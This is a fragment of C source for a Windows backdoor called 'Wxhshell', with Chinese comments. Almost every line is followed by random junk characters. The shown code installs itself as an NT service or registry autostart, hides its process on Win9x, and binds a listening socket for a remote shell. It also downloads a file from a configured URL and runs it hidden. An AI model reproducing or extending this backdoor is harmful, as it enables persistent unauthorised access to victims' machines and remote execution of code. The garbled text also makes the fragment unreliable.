ULONG InheritedFromUniqueProcessId; Q];+?Pu.
} PROCESS_BASIC_INFORMATION; UeX3cD
kL{2az3"c
PROCNTQSIP NtQueryInformationProcess; fo^M`a!va0
_z#zF[%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;VNwx(1l`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W_ngB[
^;!A`t
HANDLE hProcess; G/bWn@
PROCESS_BASIC_INFORMATION pbi; 5,|^4
ZA
hT#[[md"
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `fj(xrI
if(NULL == hInst ) return 0; iO(9#rV
Atzp\oO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dq[j.Nmq
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JY~s-jxa
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /)e&4.6
x?VX,9;j
if (!NtQueryInformationProcess) return 0; &S]\)&Yt
n(0O'nS^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rX)PN3TD
if(!hProcess) return 0; : DCj2"
pTX{j=n!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /|bir6Y:
"n=`{~F
CloseHandle(hProcess); xzbyar<
l!EfvqWX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,0[bzk
if(hProcess==NULL) return 0; S9t_2%e
1BmevEa)
HMODULE hMod; i\XOk!
char procName[255]; t=d~\_Oa
unsigned long cbNeeded; HBXp#$dPc
=(3Qbb1i
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
+,gI|
b(&2/|hd
CloseHandle(hProcess); :w_Zr5H]
mpIRe@#Z
if(strstr(procName,"services")) return 1; // 以服务启动 Ky[/7S5E
"W?k~.uw
return 0; // 注册表启动 <}L`d(E@f
} k:nr!Y<
[>=D9I@~
// 主模块 K, WNM S
int StartWxhshell(LPSTR lpCmdLine) 4w}\2&=
{ FAz shR
SOCKET wsl; k9vr6We'
BOOL val=TRUE; I QS|
int port=0;
lc,{0$
1<
struct sockaddr_in door; ={o>g'
hbD@B.PD
if(wscfg.ws_autoins) Install(); -SGR)
HpC|dtro
port=atoi(lpCmdLine); Ks(+['*S
. Zrt/;
if(port<=0) port=wscfg.ws_port; pLE|#58I
2G=Bav\n+
WSADATA data; NIY0f@1z-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >2_BL5<S
MS)# S&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Zz'(!h Uy
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q&B'peT
door.sin_family = AF_INET; Xw(e@:
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z2_eTC
u
door.sin_port = htons(port); ),(ejRP'r
cZuZfMDM
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4_ztIrw
closesocket(wsl); tx;MH5s/V
return 1; i/2OE&*O[
} O[+S/6uy
:bkACuaEn
if(listen(wsl,2) == INVALID_SOCKET) { dE7 kd=.o
closesocket(wsl); M}k )Ep9
return 1; mL?9AxO
} <N}UwB&
Wxhshell(wsl); "WdGY*r
WSACleanup(); bae .?+0[
Z3<>Z\6D
return 0; >Vy=5)/i
o3 P`y:&
} QrDzfe[
Kn SXygT
// 以NT服务方式启动 QXY-?0RO#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) };o6|e:2E
{ bHH{bv~Z
DWORD status = 0; %*wJODtB|
DWORD specificError = 0xfffffff; H$>D_WeJ
hZ Gr/5f
serviceStatus.dwServiceType = SERVICE_WIN32; 6;60}y
serviceStatus.dwCurrentState = SERVICE_START_PENDING; <W2}^q7F^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }L^Yoq]
serviceStatus.dwWin32ExitCode = 0; IsxPm9P2<
serviceStatus.dwServiceSpecificExitCode = 0; (cAv :EKpo
serviceStatus.dwCheckPoint = 0; 8>RGmue
serviceStatus.dwWaitHint = 0; {mY<R`Ee
s-Q-1lKV,
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tSV}BM,
if (hServiceStatusHandle==0) return; }@J&yrqg
Q.7Rv
XNw8
status = GetLastError(); Tw/kD)u{
if (status!=NO_ERROR) FY)v rM*yh
{ w|pk1~c(_
serviceStatus.dwCurrentState = SERVICE_STOPPED; PX65Z|~>_
serviceStatus.dwCheckPoint = 0;
m(,vymt
serviceStatus.dwWaitHint = 0; 0APwk
}
serviceStatus.dwWin32ExitCode = status; L MC-1
serviceStatus.dwServiceSpecificExitCode = specificError; y8HLrBTza
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {";5n7<<)
return;
LKieOgX
} %H75u6
AR\>P
serviceStatus.dwCurrentState = SERVICE_RUNNING; JP)/
O!
serviceStatus.dwCheckPoint = 0; ;n$j?n+|
serviceStatus.dwWaitHint = 0; vmK<_xbwd
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @+h2R
} 5gARGA
4Z)`kS}=]
// 处理NT服务事件,比如:启动、停止 $6}siU7s4
VOID WINAPI NTServiceHandler(DWORD fdwControl) EGO;g^,
{ )_"Cz".|9
switch(fdwControl) ;X<#y2`
{ 7Oe |:Z
case SERVICE_CONTROL_STOP: w~y+Pv@
serviceStatus.dwWin32ExitCode = 0; B;XFPQ#b
serviceStatus.dwCurrentState = SERVICE_STOPPED; x.qn$?3V]
serviceStatus.dwCheckPoint = 0; ?`V%[~4_I
serviceStatus.dwWaitHint = 0; XL c&7
{ zuUf:%k}I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D{'x7!5r
} FiMP_ y*S
return; "2;$?*hO#
case SERVICE_CONTROL_PAUSE: osyY+)G'sV
serviceStatus.dwCurrentState = SERVICE_PAUSED; ,LKY?=T$z
break; YNA %/
case SERVICE_CONTROL_CONTINUE: {\[u2{
serviceStatus.dwCurrentState = SERVICE_RUNNING; b2u_1P\
break; Izm8
qt=m
case SERVICE_CONTROL_INTERROGATE: y?GRxoCD"e
break; {LYA?w^GT
}; pj;cL]L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7GY[l3arxv
} v^2K=f[nE
A<2_V1
// 标准应用程序主函数 *X+T>SKL
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H>AQlO+ J
{ 8.HqQ:?&2t
P$S>=*`n
U
// 获取操作系统版本 QE[ETv
OsIsNt=GetOsVer(); lfG]^id'
GetModuleFileName(NULL,ExeFile,MAX_PATH); *i|O!h1St
L$6{{Tw"2
// 从命令行安装 KywDp 37^
if(strpbrk(lpCmdLine,"iI")) Install(); = q9>~E{}
LL|$M;S
// 下载执行文件 mG@xehH
if(wscfg.ws_downexe) { \_}Y4
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cJj4qXF
WinExec(wscfg.ws_filenam,SW_HIDE); g+;m?VJ
} '
Z:FGSwT
fQRGz\r*k
if(!OsIsNt) { XSC._)ztEE
// 如果时win9x,隐藏进程并且设置为注册表启动 o#gb+[
HideProc(); 'qwFVP
StartWxhshell(lpCmdLine); >M[wh>
} M%pxv6?""{
else {%X /w'|
if(StartFromService()) RX}6H<5R
// 以服务方式启动 Z12-Vps
StartServiceCtrlDispatcher(DispatchTable); w^EAk(77
else 0FD#9r
// 普通方式启动 4CVtXi_Y
StartWxhshell(lpCmdLine); 1.U5gW/3L
$Q*h+)g<
return 0; K.4t*-<`[
} JYA$_T
vggyQf%
<gRv7 ?V[z
ysm)B?+k
=========================================== ku3Vr\s
<o,]f E[
=u
W+>;]
TbbtD"b?
Cfqgu;m
XcB!9AIO
" PB00\&6H
'bVDm m).
#include <stdio.h> `K37&b